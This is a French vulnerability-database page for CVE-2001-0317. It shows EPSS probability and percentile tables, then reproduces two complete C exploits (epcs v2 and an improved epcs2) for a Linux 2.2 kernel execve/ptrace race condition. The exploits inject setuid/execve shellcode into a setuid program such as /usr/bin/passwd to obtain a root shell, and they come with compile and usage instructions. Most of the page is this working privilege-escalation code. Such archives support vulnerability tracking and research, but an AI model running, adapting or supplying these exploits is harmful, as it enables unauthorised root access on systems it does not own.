CVE-2001-0317 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	1.76%	–	–
2022-03-27	–	–	1.76%	–	–
2022-04-03	–	–	1.76%	–	–
2022-04-17	–	–	1.76%	–	–
2022-08-28	–	–	1.76%	–	–
2023-03-05	–	–	1.76%	–	–
2023-03-12	–	–	–	0.04%	–
2024-06-02	–	–	–	0.04%	–
2025-01-19	–	–	–	0.04%	–
2025-03-18	–	–	–	–	0.21%
2025-03-30	–	–	–	–	0.18%
2025-04-15	–	–	–	–	0.18%
2025-04-15	–	–	–	–	0.18,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	54%
2022-03-27	55%
2022-04-03	74%
2022-04-17	75%
2022-08-28	76%
2023-03-05	77%
2023-03-12	–
2024-06-02	–
2025-01-19	–
2025-03-18	41%
2025-03-30	36%
2025-04-15	4%
2025-04-15	4%

/* EDB Note: Updated exploit can be found here: https://www.exploit-db.com/exploits/20721/ source: https://www.securityfocus.com/bid/2529/info The Linux kernel is the core of all distributions of the Linux Operating System. It was originally written by Linus Torvalds, and is maintained by a community of developers. A problem in the Linux Kernel could make it possible for a local user to gain elevated privileges. A problem with the checking of process tracing on programs attempting to execute other programs that are setuid or setgid. It is possible to trace a process after it has entered a setuid or setgid execution state. This makes it possible for a local user to change parts of the process as they function, and potentially gain elevated privileges. */ /* * epcs v2 * ~~~~~~~ * exploit for execve/ptrace race condition in Linux kernel up to 2.2.18 * * (c) 2001 Wojciech Purczynski / cliph / <wp@elzabsoft.pl> * * This sploit does _not_ use brute force. It does not need that. * It does only one attemt to sploit the race condition in execve. * Parent process waits for a context-switch that occur after * child task sleep in execve. * * It should work even on openwall-patched kernels (I haven't tested it). * * Compile it: * cc epcs.c -o epcs * Usage: * ./epcs [victim] [address] * * It gives instant root shell with any of a suid binaries. * * If it does not work, try use some methods to ensure that execve * would sleep while loading binary file into memory, * * i.e.: cat /usr/lib/* >/dev/null 2>&1 * * Tested on RH 7.0 and RH 6.2 / 2.2.14 / 2.2.18 / 2.2.18ow4 * This exploit does not work on 2.4.x because kernel won't set suid * privileges if user ptraces a binary. * But it is still exploitable on these kernels. * * Thanks to Bulba (he made me to take a look at this bug ;) ) * Greetings to SigSegv team. * */ #include <stdio.h> #include <fcntl.h> #include <sys/types.h> #include <signal.h> #include <linux/user.h> #include <sys/wait.h> #include <limits.h> #include <errno.h> #include <stdlib.h> #define CS_SIGNAL SIGUSR1 #define VICTIM "/usr/bin/passwd" #define SHELL "/bin/sh" #define SHELL_LEN "\x07" /* strlen(SHELL) in hex */ #define SHELLCODE 0x00000000 /* address to put shellcode at */ /* * This is my private shellcode. * Offset 0x0a - executable's filename length. */ char shellcode[1024]= "\xeb\xfe" "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" /* setuid(0) */ "\x31\xc0\xb0\x2e\xcd\x80" "\x31\xc0\x50\xeb\x17\x8b\x1c\x24" /* execve(SHELL) */ "\x88\x43" SHELL_LEN "\x89\xe1\x8d\x54\x24" "\x04\xb0\x0b\xcd\x80\x31\xc0\x89" "\xc3\x40\xcd\x80\xe8\xe4\xff\xff" "\xff" SHELL ; volatile int cs_detector=0; void cs_sig_handler(int sig) { cs_detector=1; } void do_victim(char * filename) { while (!cs_detector) ; kill(getppid(), CS_SIGNAL); execl(filename, filename, NULL); perror("execl"); exit(-1); } int check_execve(pid_t victim, char * filename) { char path[PATH_MAX+1]; char link[PATH_MAX+1]; int res; snprintf(path, sizeof(path), "/proc/%i/exe", (int)victim); if (readlink(path, link, sizeof(link)-1)<0) { perror("readlink"); return -1; } link[sizeof(link)-1]='\0'; res=!strcmp(link, filename); if (res) fprintf(stderr, "Child slept outside of execve\n"); return res; } int main(int argc, char * argv[]) { char * filename=VICTIM; pid_t victim; int error, i; unsigned long eip=SHELLCODE; struct user_regs_struct regs; if (argc>1) filename=argv[1]; if (argc>2) eip=strtoul(argv[2], NULL, 16); signal(CS_SIGNAL, cs_sig_handler); victim=fork(); if (victim<0) { perror("fork: victim"); exit(-1); } if (victim==0) do_victim(filename); kill(victim, CS_SIGNAL); while (!cs_detector) ; if (ptrace(PTRACE_ATTACH, victim)) { perror("ptrace: PTRACE_ATTACH"); goto exit; } if (check_execve(victim, filename)) goto exit; (void)waitpid(victim, NULL, WUNTRACED); if (ptrace(PTRACE_CONT, victim, 0, 0)) { perror("ptrace: PTRACE_CONT"); goto exit; } (void)waitpid(victim, NULL, WUNTRACED); if (ptrace(PTRACE_GETREGS, victim, 0, &regs)) { perror("ptrace: PTRACE_GETREGS"); goto exit; } regs.eip=eip; for (i=0; i<strlen(shellcode); i+=4) { if (ptrace(PTRACE_POKEDATA, victim, regs.eip+i, *(int*)(shellcode+i))) { perror("ptrace: PTRACE_POKETEXT"); goto exit; } } if (ptrace(PTRACE_GETREGS, victim, 0, &regs)) { perror("ptrace: PTRACE_GETREGS"); goto exit; } fprintf(stderr, "Bug exploited successfully.\n"); if (ptrace(PTRACE_DETACH, victim, 0, 0)) { perror("ptrace: PTRACE_CONT"); goto exit; } (void)waitpid(victim, NULL, 0); return 0; exit: fprintf(stderr, "Error!\n"); kill(victim, SIGKILL); return -1; }

/* source: https://www.securityfocus.com/bid/2529/info The Linux kernel is the core of all distributions of the Linux Operating System. It was originally written by Linus Torvalds, and is maintained by a community of developers. A problem in the Linux Kernel could make it possible for a local user to gain elevated privileges. A problem with the checking of process tracing on programs attempting to execute other programs that are setuid or setgid. It is possible to trace a process after it has entered a setuid or setgid execution state. This makes it possible for a local user to change parts of the process as they function, and potentially gain elevated privileges. */ /* * epcs2 (improved by lst [liquid@dqc.org]) * ~~~~~~~ * exploit for execve/ptrace race condition in Linux kernel up to 2.2.18 * * originally by: * (c) 2001 Wojciech Purczynski / cliph / <wp@elzabsoft.pl> * * improved by: * lst [liquid@dqc.org] * * This sploit does _not_ use brute force. It does not need that. * It does only one attemt to sploit the race condition in execve. * Parent process waits for a context-switch that occur after * child task sleep in execve. * * It should work even on openwall-patched kernels (I haven't tested it). * * Compile it: * cc epcs.c -o epcs * Usage: * ./epcs [victim] * * It gives instant root shell with any of a suid binaries. * * If it does not work, try use some methods to ensure that execve * would sleep while loading binary file into memory, * * i.e.: cat /usr/lib/* >/dev/null 2>&1 * * Tested on RH 7.0 and RH 6.2 / 2.2.14 / 2.2.18 / 2.2.18ow4 * This exploit does not work on 2.4.x because kernel won't set suid * privileges if user ptraces a binary. * But it is still exploitable on these kernels. * * Thanks to Bulba (he made me to take a look at this bug ;) ) * Greetings to SigSegv team. * * -- d00t * improved by lst [liquid@dqc.org] * props to kevin for most of the work * * now works on stack non-exec systems with some neat trickery for the automated * method, ie. no need to find the bss segment via objdump * * particularly it now rewrites the code instruction sets in the * dynamic linker _start segment and continues execution from there. * * an aside, due to the fact that the code self-modified, it wouldnt work * quite correctly on a stack non-exec system without playing directly with * the bss segment (ie no regs.eip = regs.esp change). this is much more * automated. however, do note that the previous version did not trigger stack * non-exec warnings due to how it was operating. note that the regs.eip = regs.esp * method will break on stack non-exec systems. * * as always.. enjoy. * */ #include <stdio.h> #include <fcntl.h> #include <sys/types.h> #include <signal.h> #include <linux/user.h> #include <sys/wait.h> #include <limits.h> #include <errno.h> #include <stdlib.h> #define CS_SIGNAL SIGUSR1 #define VICTIM "/usr/bin/passwd" #define SHELL "/bin/sh" /* * modified simple shell code with some trickery (hand tweaks) */ char shellcode[]= "\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" /* setuid(0) */ "\x31\xc0\xb0\x2e\xcd\x80" "\x31\xc0\x50\xeb\x17\x8b\x1c\x24" /* execve(SHELL) */ "\x90\x90\x90\x89\xe1\x8d\x54\x24" /* lets be tricky */ "\x04\xb0\x0b\xcd\x80\x31\xc0\x89" "\xc3\x40\xcd\x80\xe8\xe4\xff\xff" "\xff" SHELL "\x00\x00\x00" ; /* pad me */ volatile int cs_detector=0; void cs_sig_handler(int sig) { cs_detector=1; } void do_victim(char * filename) { while (!cs_detector) ; kill(getppid(), CS_SIGNAL); execl(filename, filename, NULL); perror("execl"); exit(-1); } int check_execve(pid_t victim, char * filename) { char path[PATH_MAX+1]; char link[PATH_MAX+1]; int res; snprintf(path, sizeof(path), "/proc/%i/exe", (int)victim); if (readlink(path, link, sizeof(link)-1)<0) { perror("readlink"); return -1; } link[sizeof(link)-1]='\0'; res=!strcmp(link, filename); if (res) fprintf(stderr, "child slept outside of execve\n"); return res; } int main(int argc, char * argv[]) { char * filename=VICTIM; pid_t victim; int error, i; struct user_regs_struct regs; /* take our command args if you wanna play with other progs */ if (argc>1) filename=argv[1]; signal(CS_SIGNAL, cs_sig_handler); victim=fork(); if (victim<0) { perror("fork: victim"); exit(-1); } if (victim==0) do_victim(filename); kill(victim, CS_SIGNAL); while (!cs_detector) ; if (ptrace(PTRACE_ATTACH, victim)) { perror("ptrace: PTRACE_ATTACH"); goto exit; } if (check_execve(victim, filename)) goto exit; (void)waitpid(victim, NULL, WUNTRACED); if (ptrace(PTRACE_CONT, victim, 0, 0)) { perror("ptrace: PTRACE_CONT"); goto exit; } (void)waitpid(victim, NULL, WUNTRACED); if (ptrace(PTRACE_GETREGS, victim, 0, &regs)) { perror("ptrace: PTRACE_GETREGS"); goto exit; } /* make sure that last null is in there */ for (i=0; i<=strlen(shellcode); i+=4) { if (ptrace(PTRACE_POKETEXT, victim, regs.eip+i, *(int*)(shellcode+i))) { perror("ptrace: PTRACE_POKETEXT"); goto exit; } } if (ptrace(PTRACE_SETREGS, victim, 0, &regs)) { perror("ptrace: PTRACE_SETREGS"); goto exit; } fprintf(stderr, "bug exploited successfully.\nenjoy!\n"); if (ptrace(PTRACE_DETACH, victim, 0, 0)) { perror("ptrace: PTRACE_DETACH"); goto exit; } (void)waitpid(victim, NULL, 0); return 0; exit: fprintf(stderr, "d0h! error!\n"); kill(victim, SIGKILL); return -1; }